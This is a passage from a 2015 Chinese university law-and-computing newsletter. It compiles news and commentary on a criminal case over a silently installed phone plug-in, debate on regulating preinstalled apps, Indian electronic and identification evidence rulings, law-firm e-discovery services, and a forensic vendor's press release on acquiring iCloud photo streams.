要 慎 之 又 慎, 避 免 掉 入 陷 进 之 中! 相 关 链 接 : 流 氓 软 件 侵 害 20 万 手 机 用 户 麦 德 公 司 十 人 获 刑 :38:22 来 源 : 北 京 晚 报 流 氓 软 件 侵 害 20 万 手 机 用 户 推 送 广 告 获 取 用 户 信 息 麦 德 公 司 十 人 获 刑 近 日, 北 京 市 三 中 院 审 结 了 一 起 通 过 ROM 实 现 软 件 静 默 安 装, 从 而 获 取 用 户 信 息 的 案 件 被 告 人 杨 某 及 另 外 九 名 公 司 员 工 因 非 法 获 取 计 算 机 信 息 系 统 数 据 非 法 控 制 计 算 机 信 息 系 统 罪 获 刑 研 发 流 氓 插 件 获 利 2010 年, 杨 某 等 四 人 一 同 在 深 圳 成 立 了 安 丰 公 司, 杨 某 担 任 公 司 老 板, 公 司 主 要 从 事

44 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 计 算 机 手 机 的 软 件 开 发 业 务 2011 年, 杨 某 又 来 到 北 京, 成 立 了 麦 德 公 司 由 于 安 丰 公 司 的 业 务 不 景 气, 杨 某 等 四 人 经 过 商 议, 决 定 由 麦 德 公 司 的 技 术 部 门 研 发 静 默 插 件, 通 过 ROM 安 装 包, 使 用 户 在 刷 机 过 程 中, 不 知 不 觉 地 安 装 上 公 司 开 发 的 插 件 而 手 机 被 安 装 上 这 一 插 件 后, 公 司 不 仅 可 以 向 手 机 推 送 软 件 广 告 等 商 业 性 电 子 信 息, 还 可 以 获 取 用 户 位 置 获 取 用 户 短 信 通 讯 录 等 个 人 信 息 其 中, 安 丰 公 司 的 广 告 网 页 是 他 们 推 送 的 重 要 内 容 据 杨 某 称, 他 们 通 过 这 个 插 件 已 获 利 广 告 收 入 20 余 万 元 同 案 被 捕 的 马 某 等 四 人 是 公 司 技 术 部 门 的 员 工, 负 责 软 件 推 广 维 护 的 员 工 祝 某 杜 某 也 认 为 自 己 的 行 为 并 不 构 成 犯 罪 他 们 认 为, 软 件 开 发 是 领 导 的 授 意, 自 己 只 是 执 行 公 司 的 工 作 要 求 2013 年,360 软 件 识 别 出 了 麦 德 公 司 的 插 件, 将 其 列 为 恶 意 软 件 ( 用 户 称 其 为 流 氓 软 件 ), 对 此, 马 某 等 人 进 一 步 完 善 了 插 件, 再 次 利 用 同 样 的 静 默 安 装 方 式 继 续 推 广 软 件, 实 现 盈 利 20 余 万 部 手 机 遭 殃 十 人 获 刑 在 被 公 安 机 关 查 获 后, 警 方 在 麦 德 公 司 数 据 库 中 发 现, 通 过 该 插 件 被 获 取 了 IMSI 国 际 移 动 用 户 识 别 码 的 手 机 有 20 余 万 部, 获 取 到 的 通 讯 录 近 2000 万 条 据 此, 朝 阳 法 院 一 审 判 决 被 告 人 杨 某 犯 非 法 获 取 计 算 机 信 息 系 统 数 据 非 法 控 制 计 算 机 信 息 系 统 罪, 判 处 有 期 徒 刑 三 年 六 个 月, 其 余 九 人 获 刑 一 年 五 个 月 至 三 年 不 等 杨 某 等 人 不 服, 向 三 中 院 提 起 上 诉 三 中 院 经 审 理 认 为, 依 据 国 家 相 关 法 律 法 规, 杨 某 等 人 在 明 知 插 件 功 能 的 情 况 下, 未 经 用 户 同 意 将 该 插 件 预 置 到 用 户 手 机 中, 非 法 获 取 用 户 身 份 认 证 信 息, 并 在 用 户 不 知 情 的 情 况 下 向 用 户 推 送 软 件 广 告 等 商 业 性 电 子 信 息, 已 经 构 成 了 对 他 人 计 算 机 信 息 系 统 的 侵 入 控 制, 获 取 了 相 关 数 据, 侵 犯 了 公 民 的 合 法 权 益, 且 达 到 情 节 特 别 严 重 程 度, 故 依 法 裁 定 驳 回 上 诉, 维 持 原 判 刘 苏 雅 相 关 链 接 : 治 预 装 软 件 乱 象 既 要 狠, 也 要 准 2015 年 11 月 25 日 09:38:34 来 源 : 新 华 每 日 电 讯 3 版 朱 昌 俊 手 机 预 装 软 件 占 内 存 消 耗 流 量 泄 露 隐 私 恶 意 扣 费 等 问 题, 一 直 饱 受 民 众 诟 病 去 年 10 月, 广 东 省 消 委 会 曾 携 手 全 省 23 家 市 区 消 委 会, 联 名 向 工 信 部 上 书, 希 望 出 台 政 策 解 决 手 机 预 装 软 件 不 能 自 由 卸 载 的 问 题 近 日, 工 信 部 起 草 了 移 动 智 能 终 端 应 用 软 件 (App) 预 置 和 分 发 管 理 暂 行 规 定, 并 公 开 征 求 意 见, 明 确 提 出 除 基 本 功 能 软 件 外 的 手 机 软 件 必 须 可 卸 载 随 着 智 能 手 机 的 普 及, 手 机 预 装 软 件 的 问 题, 近 年 来 越 发 成 为 一 个 公 众 议 题 此 前, 工 信 部 等 部 门 也 针 对 预 装 软 件 的 监 管 出 台 过 一 定 的 规 章 制 度, 明 确 要 求 规 范 预 装 软 件 的 安 装 和 应 用, 但 效 果 似 乎 并 不 理 想 此 次 暂 行 条 例 明 确 提 出, 除 基 本 功 能 软 件 外 的 手 机 软 件 必 须 可 卸 载, 在 治 理 力 度 上 较 之 以 往 明 显 加 大 在 强 制 性 预 装 软 件 的 问 题 上, 手 机 用 户 不 能 卸 载 只 是 一 个 方 面, 另 一 个 最 重 要 且 让 人 难 以 接 受 的 问 题 是, 它 们 占 据 了 较 大 的 手 机 内 存, 还 牵 涉 偷 流 量 不 正 当 的 吸 费 而 这 些 也 是 净 化 预 装 软 件 的 重 点 所 在 正 因 如 此, 规 定 基 本 功 能 外 的 预 装 软 件 都 可 卸 载, 固 然 体 现 了 解 决 问 题 的 思 路, 但 一 刀 切 的 要 求 所 有 软 件 必 须 可 卸 载 是 否 有 必 要, 又 能 否 达 到 理 想 的 治 理 效 果, 仍 需 要 审 慎 以 对 从 手 机 制 造 商 角 度 来 看, 他 们 之 所 以 配 备 预 装 软 件, 一 般 有 两 个 出 发 点 首 先, 一 些 具 有 特 色 的 预 装 软 件, 恰 恰 是 手 机 制 造 商 的 核 心 竞 争 力 与 创 新 所 在, 甚 至 一 部 分 消 费 者 也 是 奔 着 那 些

45 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 预 装 软 件 去 购 买 手 机 的, 而 各 种 特 色 的 预 装 软 件 也 是 手 机 市 场 创 新 和 产 品 多 样 性 的 一 种 具 体 表 现 另 一 方 面, 安 装 预 装 软 件 涉 及 成 本 分 担 问 题, 第 三 方 服 务 商 与 手 机 制 造 商 达 成 合 作, 在 手 机 植 入 预 装 软 件 往 往 要 向 手 机 厂 商 支 付 一 定 的 费 用, 相 当 于 摊 薄 了 手 机 的 市 场 价 格, 使 得 消 费 者 能 买 到 物 美 价 廉 的 手 机 就 此 而 言, 似 乎 不 必 一 刀 切 地 要 求 都 可 以 卸 载 事 实 上, 真 正 需 要 监 管 部 门 出 手 的 是 那 些 来 路 不 明, 又 恶 意 侵 犯 手 机 用 户 权 利 的 预 装 软 件 一 些 手 机 的 预 装 软 件 过 多, 直 接 导 致 手 机 的 内 存 被 浪 费, 即 便 卸 载 后 也 仍 占 据 内 存, 还 有 偷 流 量 吸 费 之 嫌, 这 显 然 就 不 再 是 可 不 可 以 卸 载 的 问 题 了 在 监 管 方 面, 必 须 防 范 的 一 种 情 况 是, 那 些 正 规 厂 家 的 预 装 软 件 可 以 通 过 一 刀 切 的 方 式 得 到 规 制, 但 那 些 地 下 化 生 存 带 有 隐 蔽 性 的 恶 意 预 装 软 件 流 氓 软 件 却 没 有 得 到 有 效 的 治 理, 这 显 然 不 是 理 想 的 治 理 效 果 所 以, 在 治 理 预 装 软 件 的 问 题 上, 确 保 治 理 力 度 是 一 个 重 要 方 面, 但 另 一 方 面 也 需 要 保 证 精 确, 勿 低 估 预 装 软 件 市 场 的 复 杂 性 比 如, 韩 国 的 监 管 部 门, 就 要 求 手 机 制 造 商 必 须 向 用 户 告 知 预 装 软 件 所 占 用 的 内 存, 这 样 既 可 以 给 厂 商 一 些 特 色 展 示 和 成 本 消 化 的 空 间, 又 能 真 正 解 决 用 户 对 于 恶 意 软 件 占 据 内 存 的 烦 恼 中 国 的 监 管 部 门 不 妨 也 明 确 要 求 手 机 厂 商 的 预 装 软 件 不 能 占 超 过 一 定 比 例 的 内 存 空 间 另 外, 对 于 那 些 灰 色 化 的 流 氓 软 件, 还 要 深 挖 背 后 不 当 的 分 成 模 式, 包 括 涉 嫌 恶 意 吸 费 偷 流 量 和 修 改 用 户 信 息 等 方 面 如 何 界 定, 消 费 者 又 该 如 何 维 权 等 都 需 要 有 明 确 的 标 准 和 途 径 面 临 一 种 新 兴 行 业 的 发 展 乱 象, 监 管 的 及 时 跟 进 确 实 十 分 必 要 但 在 制 定 监 管 规 则 时, 还 是 要 在 确 保 用 户 权 利 和 市 场 的 正 当 竞 争 之 间 实 现 良 性 平 衡 在 预 装 软 件 领 域, 当 前 对 于 监 管 者 来 说, 最 需 要 的 还 是 厘 清 恶 意 流 氓 软 件 与 正 规 预 装 软 件 的 区 别, 对 于 前 者 必 须 以 零 容 忍 的 态 度, 斩 断 其 畸 形 的 利 益 链, 而 对 于 后 者, 则 要 从 数 量 和 内 存 大 小 等 标 准 方 面 予 以 引 导, 也 让 市 场 发 挥 自 净 的 能 力 如 此, 才 可 能 使 行 业 发 展 与 消 费 者 权 益 保 障 达 到 最 好 的 双 赢 相 关 链 接 : 评 论 : 对 手 机 流 氓 软 件 应 痛 下 责 罚 之 手 2015 年 11 月 06 日 07:24 来 源 : 凤 凰 科 技 工 信 部 11 月 4 日 在 官 网 发 布 的 电 信 服 务 质 量 通 告 显 示, 三 季 度 发 现 涉 及 违 规 收 集 使 用 用 户 个 人 信 息 恶 意 吸 费 等 35 款 不 良 手 机 软 件, 包 括 百 度 浏 览 器 百 度 手 机 助 手 酷 狗 音 乐 盒 2014 等 知 名 品 牌, 上 述 三 款 软 件 均 强 行 捆 绑 推 广 其 他 无 关 应 用 软 件 (11 月 5 日 新 华 网 ) 不 管 人 们 承 不 承 认, 公 众 日 常 生 活 越 来 越 离 不 开 智 能 手 机 : 从 起 床 的 闹 钟 提 醒, 到 学 习 的 单 词 背 诵, 再 到 工 作 的 任 务 指 派 与 之 相 应, 智 能 手 机 也 日 趋 普 及, 尤 其 在 我 国 得 到 迅 速 落 地 去 年, 我 国 智 能 手 机 用 户 首 次 超 过 5 亿 人, 成 为 智 能 手 机 用 户 最 多 的 国 家 众 所 周 知, 智 能 手 机 的 功 能 基 本 靠 软 件 完 成, 因 而 跟 智 能 手 机 一 样, 手 机 软 件 同 样 竞 争 激 烈, 为 抢 占 市 场, 各 大 软 件 公 司 不 断 推 陈 出 新 一 方 面, 层 出 不 穷 的 手 机 软 件, 满 足 了 人 们 生 活 工 作 娱 乐 情 感 等 多 方 需 求, 给 公 众 生 活 带 来 了 极 大 便 利 附 近 有 什 么 好 吃 的 餐 馆, 高 铁 飞 机 余 票 多 少 价 格 几 何, 最 新 最 热 的 新 闻 资 讯, 都 可 通 过 手 机 软 件 找 到 答 案 另 一 方 面, 泛 滥 的 流 氓 软 件 给 机 主 带 来 诸 多 伤 害 强 行 捆 绑 推 广 其 它 无 关 应 用 软 件, 恶 意 吸 费, 未 经 用 户 同 意 便 收 集 和 使 用 用 户 个 人 信 息, 等 等 一 旦 被 流 氓 软 件 攻 陷, 智 能 手 机 就 不 再 是 带 着 体 温 的 媒 体, 而 是 随 时 可 能 骗 人 钱 物 的 骗 子 从 过 往 新 闻 报 道 看, 不 少 手 机 诈 骗, 都 是 通 过 流 氓 软 件 完 成 前 不 久, 青 岛 一 IT 工 程 师 就 因 改 号 软 件 作 祟, 在 40 天 内 被 骗 上 千 万 连 懂 技 术 的 人 都 逃 不 过 流 氓 软 件 之 殇, 更 遑 论 普 通 的 机 主 手 机 流 氓 软 件 侵 害 了 机 主 利 益, 扰 乱 了 正 当 的 市 场 竞 争 秩 序, 理 应 进 行 清 理 和 责 罚 不 过, 流 氓 软 件 一 是 隐 蔽, 其 安 装 和 运 转 用 户 不 完 全 知 情 ; 二 是 强 制, 并 没 有 得 到 机 主 认 可 ; 三 是 持 续, 一 旦 安 装 往 往 无 法 正 常 卸 载 和 删 除 这 种 未 经 许 可 悄 悄 进 行 赖 死 不 走 的 软 件,

46 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 即 便 是 工 信 部 问 责 督 办, 依 然 屡 禁 不 绝 譬 如, 工 信 部 在 今 年 二 季 度 就 曾 通 告 80 款 问 题 软 件, 并 进 行 责 任 追 究, 然 而 三 季 度 的 技 术 检 测 中, 再 度 发 现 35 款 不 良 手 机 软 件 流 氓 软 件 之 流 氓, 可 见 一 斑 魔 高 一 尺 道 高 一 丈, 禁 止 流 氓 软 件 耍 流 氓, 还 须 多 方 着 力 一 则, 加 大 对 流 氓 软 件 制 造 商 的 惩 处 力 度 仅 仅 通 过 工 信 部 的 问 责 工 商 部 门 的 督 办 依 然 不 够, 行 政 问 责 之 于 流 氓 软 件 的 震 慑 依 然 不 足, 应 将 流 氓 软 件 的 治 理 纳 入 到 法 律 轨 道, 通 过 出 台 相 应 的 法 律 法 规, 为 软 件 的 流 氓 化 划 一 道 清 晰 红 线, 必 要 时 可 以 将 其 纳 入 刑 法 评 价 体 系 之 内, 痛 下 问 责 之 手, 不 给 流 氓 软 件 喘 息 的 空 间 二 则, 呼 唤 互 联 网 企 业 扭 转 畸 形 生 存 之 道 在 互 联 网 飞 入 寻 常 百 姓 家 初 期, 芜 杂 的 软 件 市 场 上, 强 行 捆 绑 虽 不 合 理, 但 客 观 上 带 来 了 开 疆 拓 土 之 效, 可 随 着 恶 意 吸 费 个 人 信 息 泄 露 等 违 法 行 为 频 现, 互 联 网 企 业 应 尽 快 转 身, 通 过 提 升 产 品, 用 更 贴 心 的 设 计 更 完 善 的 质 量 和 更 走 心 的 服 务, 健 康 地 赢 得 市 场 和 用 户 流 氓 软 件 关 乎 每 一 个 手 机 用 户 的 人 身 与 财 产 安 全, 理 应 大 力 整 顿 加 重 责 罚, 重 塑 健 康 的 手 机 软 件 市 场, 方 能 还 公 众 以 安 全 的 手 机 网 络 环 境, 互 联 网 + 也 才 能 真 正 惠 及 民 生 相 关 链 接 : 研 究 动 向 Electronic evidence-india COPYRIGHT The Author(s) IJEP 19 2 (127) COPYRIGHT The Author(s) International Journal of Evidence and Proof 1 April 2015 IJEP 19 2 (127) LENGTH: 2381 words TOPIC: Case commentaries TITLE: Electronic evidence-india AUTHOR: Jeremy Gans, Melbourne Law School, University of Melbourne, 185 Pelham Street, Carlton, Melbourne, VIC 3053, Australia., jeremy.gans@unimelb.edu.au TEXT: CRIMINAL EVIDENCE AND PROCEDURE On the 12th of April, 2011, the day previous to the election... the agent of the first respondent, actively involved in the election propaganda of the first respondent with the consent and knowledge of the first respondent, had got printed in the District Panchayat Press, Kondotty, at least twenty five thousand copies of a leaflet with the heading PP Manafinte Rakthasakshidhinam-Nam Marakkathirikkuka April 13 (Martyr Day of PP Manaf-let us not forget April 13) and in the leaflet there is a specific reference to the petitioner who is described as the son of the then President of the Edavanna Panchayat Shri P V Shaukat Ali and the allegation is that he gave leadership to the murder of Manaf in Cinema style. The above claim is part of a petition disputing an election in the Eranad constituency in Kerala, a state on India s southwest coast. The petitioner, who received the second-highest number of votes in Eranad, argued that the result should be overturned under the Representation of the People Act 1951 because of the leaflet s false representation linking the petitioner to the 2005 murder of PP Manaf. The petitioner relied on evidence that he was told by a man who printed the leaflet that he was paid by PK Basheer of the United Democratic Front party (who won

47 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 the election in Eranad), as well as evidence of electors who had seen copies of the petition received by Basheer s wife at his residence and then distributed by United Democratic Front workers. In Anvar v Basheer (Supreme Court of India, 18 September 2014), the Supreme Court deemed this evidence insufficient to establish that Basheer consented to (rather than merely connived in ) the printing or distribution. As the court observed, [n]o doubt, on charges relating to commission of corrupt practices, direct proof on consent is very difficult. The bulk of the Supreme Court s judgment was devoted to alternative evidence of allegedly corrupt election practices by Basheer and his staff in the form of CDs claimed to be recordings of announcements and songs at various election events. The court rejected that evidence on the following basis: The speeches, songs and announcements were recorded using other instruments and by feeding them into a computer, CDs were made therefrom which were produced in court, without due certification. Those CDs cannot be admitted in evidence since the mandatory requirements of Section 65B of the Evidence Act are not satisfied. Section 65B, which was inserted into the Indian Evidence Act 1872 by the Information Technology Act 2000, commences: Notwithstanding anything contained in this Act, any information contained in an electronic record which is printed on a paper, stored, recorded or copied in optical or magnetic media produced by a computer (hereinafter referred to as the computer output) shall be deemed to be also a document, if the conditions mentioned in this section are satisfied in relation to the information and computer in question and shall be admissible in any proceedings, without further proof or production of the original, as evidence of any contents of the original or of any fact stated therein of which direct evidence would be admissible. The court rejected an argument that the CDs were capable of being admitted under the Indian Evidence Act s general provisions on documents in ss. 63 and 65: The evidence relating to electronic record, as noted herein before, being a special provision, the general law on secondary evidence under Section 63 read with Section 65 of the Evidence Act shall yield to the same. Generalia specialibus non derogant, special law will always prevail over the general law... An electronic record by way of secondary evidence shall not be admitted in evidence unless the requirements under Section 65B are satisfied. Thus, in the case of CD, VCD, chip, etc. the same shall be accompanied by the certificate in terms of Section 65B obtained at the time of taking the document, without which, the secondary evidence pertaining to that electronic record, is inadmissible. The three-judge bench, including Chief Justice RM Lodha, expressly overruled a contrary holding by two judges of the same court in On the assumption that the alleged announcements and songs were recorded on someone s mobile phone, transferred to a laptop or desktop computer and then burnt to a CD, it is not surprising that no one made a contemporaneous note attesting to the four conditions attached to s. 65B, namely that: (a) the computer output containing the information was produced by the computer during the period over which the computer was used regularly to store or process information for the purposes of any activities regularly carried on over that period by the person having lawful control over the use of the computer; (b) during the said period, information of the kind contained in the electronic record or of the

48 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 kind from which the information so contained is derived was regularly fed into the computer in the ordinary course of the said activities; (c) throughout the material part of the said period, the computer was operating properly or, if not, then in respect of any period in which it was not operating properly or was out of operation during that part of the period, was not such as to affect the electronic record or the accuracy of its contents; and (d) the information contained in the electronic record reproduces or is derived from such information fed into the computer in the ordinary course of the said activities. These conditions, drawn from similar provisions in the Civil Evidence Act 1968 (UK) that were enacted when computers were rare, large and complex, would doubtless be readily satisfied by the ubiquitous portable digital technology of today; however, few users of that technology would either know or think about these conditions any more than they would contemplate the function, inputs, accuracy or outputs of a pen and paper. As the Supreme Court noted, England dropped even the watered-down version of the Civil Evidence Act requirements in 1999, a year before India enacted its Information Technology Act. That is not to say that the policy concerns underlying the 1968 legislation are not still current. As the Supreme Court noted: All these safeguards are taken to ensure the source and authenticity, which are the two hallmarks pertaining to electronic record sought to be used as evidence. Electronic records being more susceptible to tampering, alteration, transposition, excision, etc. without such safeguards, the whole trial based on proof of electronic records can lead to travesty of justice. Few courts have the capacity to assess these matters, hence the utility of a further provision permitting Indian courts to hear opinions from a government-appointed expert, the Examiner of Electronic Evidence. However, as South Africa s Law Reform Commission has since observed (see the Noticeboard in this issue), defining the proper scope of rules of admissibility aimed at meeting such concerns is problematic, especially in the case of electronic evidence that is created without human input (such as voice recordings) and hence is not hearsay evidence. The Supreme Court observed: The situation would have been different had the appellant adduced primary evidence, by making available in evidence, the CDs used for announcement and songs. Had those CDs used for objectionable songs or announcements been duly got seized through the police or Election Commission and had the same been used as primary evidence, the High Court could have played the same in court to see whether the allegations were true. The court did not address whether or not the same would have been true if the actual devices used to record the alleged songs and announcements were simply carried into the courtroom and the recordings played directly to the trial court. It is clear that if those devices had been analogue tape recorders, then s. 65B would have been entirely inapplicable, even though the current risks of tampering using readily available software and hardware would have been identical to those posed by the petitioner s CDs. For further analysis of this judgment, see Acharya B (2014) Anvar v Basheer and the new (old) law of electronic evidence. 25 September Available at (accessed 27 January 2015). Identification evidence-india

49 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 Once a friend of Einstein, the renowned scientist who invented the theory of relativity, asked him to explain that theory. Mr. Newton [sic] explained it in a simple manner for common man s understanding as under: If a boy is sitting with his girlfriend/lover, he would feel the time fly away and 60 minutes would seem as 60 seconds. On the other hand, if a person puts his finger in a hot boiling water, 60 seconds would feel like 60 minutes. This is the theory of relativity. Two judges of the Supreme Court of India used the above anecdote to explain their dismissal of two appeals against convictions for murder. (For a later discussion of the authenticity of the quote, concluding that it is likely correctly attributed to Albert Einstein, see <</span> At around 5.30 p.m. on 25 March 1999 in a market in the Punjab city of Phagwara, a black scooter bearing two sikh gentlemen with trimmed beard, one was tall in height and other was of middle height, both of them wearing pants and shirts pulled up beside a pair of businessmen who had just withdrawn 400,000 rupees (around US $10,000) from a local bank. The pair fired shots and sped off with the money, leaving one of the businessmen dead and a bystander with multiple wounds. The investigation did not progress until over seven years later, when the police formed a special team to identify the assailants, which speedily received a tip-off naming the defendants, bolstered the following week when the pair allegedly confessed to a Pradhan of a Mohalla (community leader). Upon their arrest, the pair refused an identification parade in circumstances hotly-and, the Supreme Court held, belatedly-contested on appeal. The pair were convicted of murder in 2008 and sentenced to life imprisonment. In the Supreme Court, the defendants disputed the trial court s reliance on their post-arrest identification by the injured bystander and the surviving businessman: The defence had strongly pleaded before the High Court that the statements of PW-2 and PW-3 identifying the appellant in the Court was not credible as the persons who committed the offence were admittedly unknown to these witnesses. Therefore, it was not possible to remember the faces of said criminals after a period of 7 years. In Singh & Singh v State of Punjab (unreported, Supreme Court of India, 5 September 2014), Justices J Chelameswar and A K Skri relied on an affidavit by University of Washington Professor of Psychology Geoffrey Loftus offered in a Texas capital appeal a decade earlier. In that case, a witness at the accused s sentencing testified that he had recognised the accused as the offender in a separate robbery two years earlier while watching the murder trial on television. (The affidavit is available online at <</span> After setting out a lengthy extract from Loftus s affidavit-stating that memory is a highly fluid entity that changes, sometimes dramatically, with the passage of time and is accordingly subject to inaccuracy based on four major sets of circumstances : the observing environment, the observer s circumstances, the retention period and the circumstances of retrieval-the Supreme Court observed: In a case like this, even when these two assailants had remained before his face for 90 seconds, these 90 seconds was sufficiently long time to observe them closely and the person encountering such an event would not forget those faces even for a life time, what to talk for 7½ years that have elapsed in between. We would like to support our hypothesis with an anecdote. The court then set out the tale attributed to Albert Einstein. The court added that things would be different if it is a case of some large get together where two unknown persons have a chance

50 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 meeting for 90 seconds. While it is heartening that the Supreme Court drew on psychological theories of memory (not to mention fundamental theories of physics!) to examine the quality of identification evidence, the defendants would surely be disappointed that the court omitted Loftus s further observation in his affidavit that: [u]nder conditions of high stress, the fact that the stress-producing event itself occurred could well be stamped in; it is unlikely, for instance, that a person would forget that she was robbed. The reason for this is that stressful events are very salient, and people tend to rehearse salient events over and over in their minds. This causes the event to be stamped in. However, this does not mean that the details of the event will be perceived and remembered correctly. Indeed, as I noted, under conditions of stress, details may very well be perceived incorrectly. This would mean that the incorrectly perceived details could get rehearsed over and over, along with the occurrence of the event itself, and memory for them would thus be very strong. This means that the person would be very confident in remembering the details even though they were incorrect. That being said, Loftus s position also failed to sway the United States Court of Appeal of the 5th Circuit, who held that such arguments merely concern the weight the jury should have accorded the evidence (Medina v Cockrell, United States Court of Appeal of the 5th Circuit, 16 January 2002). The accused in the Texas case, Mexican national Javier Suarez Medina, was executed seven months later. LOAD-DATE: April 16, 2015 Home e-cooking; Are lawyers better at evidence collection than tech companies? ABA Journal November, A.B.A.J. 30 Home e-cooking; Are lawyers better at evidence collection than tech companies? AUTHOR: Jason Krause LENGTH: 851 words SECTION: Business of Law WHENEVER A LAW FIRM HAS A CASE INVOLVING large volumes of electronic evidence, there are thousands of companies clamoring to do the dirty work of collecting and managing that evidence. But a few large law firms have looked at the job of e-discovery and built their own in-house services. A few have even turned it into a profitable business. E-discovery has been a challenge for law firms for more than a decade. In several high-profile cases, including Enron-related litigation and Zubulake v. Warburg from 2004, law firms and their clients were penalized heavily for failing to preserve electronic evidence. "We saw at the time after the Enron investigations that electronic evidence is a massive problem," says Chris Davies, a partner with Wilmer Cutler Pickering Hale and Dorr in Washington, D.C., "and you can't take a defensive position or you open yourself to spoliation charges. We decided to get our arms around the problem." The result is that several large firms, including WilmerHale and Winston & Strawn, now have an in-house shop to process, manage and review electronic evidence

51 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 Most law firms host litigation data-bases and review software for processing electronic data in-house. The new model is a full-service e-discovery consultancy behind the law firm's firewall. And these departments are not just a litigation support team for the firms' own cases: They actively compete with e-discovery consultants and vendors in the open market. And in some cases such a service can become a new profit center for law firms. Winston & Strawn says it has billed more than 200,000 hours of e-discovery services in more than 1,000 cases. The company now employs 26 technical employees in addition to project managers and has a team of in-house review attorneys dedicated to the operation. And in the past two years, the group has produced more than $ 20 million in revenue, says Winston attorney John Rosenthal, who leads the practice. (Of course, that is small potatoes compared to the firm's total revenues of $ million in 2014.) E-discovery vendors argue that law firms that try to operate an e-discovery litigation service department are not going to be able to offer competitive services. Specifically, they say law firms cannot offer the same level of technical expertise and cannot offer competitive pricing. "The profit center idea is short-sighted," says Andy Wilson, CEO of vendor Logikcull. "The law firm model is people-powered and can't be as flexible in what they charge." AN INTEGRATED APPROACH But law firms argue they are not trying to offer lower-cost services. Their goal is to deliver better service that is integrated with the legal services being provided. Because of this integration, they contend that the services they offer will be more effective and perhaps less expensive in the long run. "Look at it this way: An outside vendor cannot do a deep download on formal intake, understand the facts," says Rosenthal. "In a typical case, clients and vendors take weeks or months to get up to speed. Because we're behind the firewall, when we're hired we see the data and begin working on it in days." Proponents of law firm e-discovery departments believe that any e-discovery company can acquire the technology needed for the job, but a law firm will always offer better personnel and processes. "What we're doing is not a standard profit center, but more of a complementary service to our core strengths," Davies says. COST AND VALUE For example, unlike e-discovery vendors, which often hire contract attorneys as needed for particular matters, Winston & Strawn maintains two review centers with a team of full-time, permanent reviewers and project managers. The group acknowledges its hourly rates are perhaps higher than many vendors, but it argues that full-time reviewers offer much better service. "Listen, it's easier to hire contract reviewers as needed, but then you have to train them and get people up to speed," says Rosenthal. "Our people are on staff and ready to go, and if you look at the total project cost, it is going to be the same or much lower than anyone out there." It is important to note that in many cases, clients already have an e-discovery vendor they work with for some parts of the litigation process. The law firms we talked to say they are willing and able to offer service in conjunction with other vendors when necessary. "We're not technologists. We're agnostic about technology," says Davies. "We use other platforms in many cases. And even when there is a preferred vendor, our process is flexible, so we can choose the elements needed." In a cutthroat e-discovery industry battling to offer the lowest prices, law firms might be in the

52 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 best position to offer high-tech expertise in litigation. "The e-discovery service is built on the same foundation as the rest of our legal representation," Davies says. "Our goal is always to offer the highest-quality representation, and we think clients will always come back if we do it well and as cost-effectively as possible." LOAD-DATE: 10/24/2015 LANGUAGE: ENGLISH Copyright 2015 American Bar Association Passware Exposes Suspects' Photo Stream to Computer Forensics 替 代 标 题 :PASSWARE-photo-stream 作 者 :PR Newswire 来 源 :PR Newswire US. 03/24/2015. 文 献 类 型 :Article 地 理 术 语 :California 摘 要 :MOUNTAIN VIEW, Calif., March 24, 2015 /PRNewswire-USNewswire/ -- Passware, Inc., a provider of password recovery, decryption, and electronic evidence discovery software for computer forensics, law enforcement organizations, government agencies, and private investigators, announces version 2 of its flagship encrypted electronic evidence discovery product Passware Kit Forensic This new release now acquires suspects' iphone and ipad photos without Apple ID or password, provided the physical access to the computer with icloud application installed. [ABSTRACT FROM PUBLISHER] 入 藏 编 号 : PR.NEWS.USPR.DC62737 MOUNTAIN VIEW, Calif., March 24, 2015 /PRNewswire-USNewswire/ -- Passware, Inc., a provider of password recovery, decryption, and electronic evidence discovery software for computer forensics, law enforcement organizations, government agencies, and private investigators, announces version 2 of its flagship encrypted electronic evidence discovery product Passware Kit Forensic This new release now acquires suspects' iphone and ipad photos without Apple ID or password, provided the physical access to the computer with icloud application installed. According to apple.com, "Your new photos appear automatically on the ios devices, computers, and Apple TV you set up with My Photo Stream, no matter which ios device or computer you use to take or import new photos." (Source: This also concerns shared photo stream where photos and videos of trusted contacts are automatically synchronized with the Apple device. An authentication token, which replaces Apple credentials and thus allows iphone/ipad photo stream download, resides in the computer memory and hibernation file (for Windows OS). This token allows downloading of photos and videos from the owner's photo stream and, additionally, from the shared albums of his trusted contacts. Until now, the only solution for acquiring icloud data without Apple ID and password was extracting the icloud token from the target hard disk, which further required a user password for the operating system to decrypt the token. Passware has found a way to acquire the token from a live memory image and, which is more applicable, from a Windows hibernation file. This makes it unnecessary to have a user password for the OS. Moreover, if the target computer is shut down

53 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 and live memory data no longer available for acquiring, the hibernation file with the token resides there until the next hibernation even after the power-off. Each photo and video contains invaluable evidence, such as GPS coordinates, time taken, and device name. Thorough analysis of this data occurs in Oxygen Forensic Passware Analyst, which also provides detailed reports and graphs for computer forensic investigations. Supported are all versions of ios, including the latest 8.2. Cases Enabling Acquisition of iphone and ipad Full BackupsComputer forensics can now acquire full backups of a suspect's iphone or ipad using Passware in unique cases, including: A graph of these unique cases where Passware acquires data of a suspect's iphone or ipad are available here: "With the introduction of bullet-proof encryption in the latest version of ios, over-the-air acquisition becomes the only applicable way to gain access to data from Apple devices," said Dmitry Sumin, CEO of Passware. "With the proliferation of Apple devices, this is yet another powerful tool available to forensic experts conducting investigations." Additional features of Passware Kit Forensic 2015 v.2 include: Passware Kit Forensic DemonstrationThe new features of Passware Kit Forensic will appear for the first time at Computer & Cell Phone Forensics Users Conference (PATCtech) 2015, May 5-7, Davie, Fla. ( Visit Passware's booth there, as well as its presentation 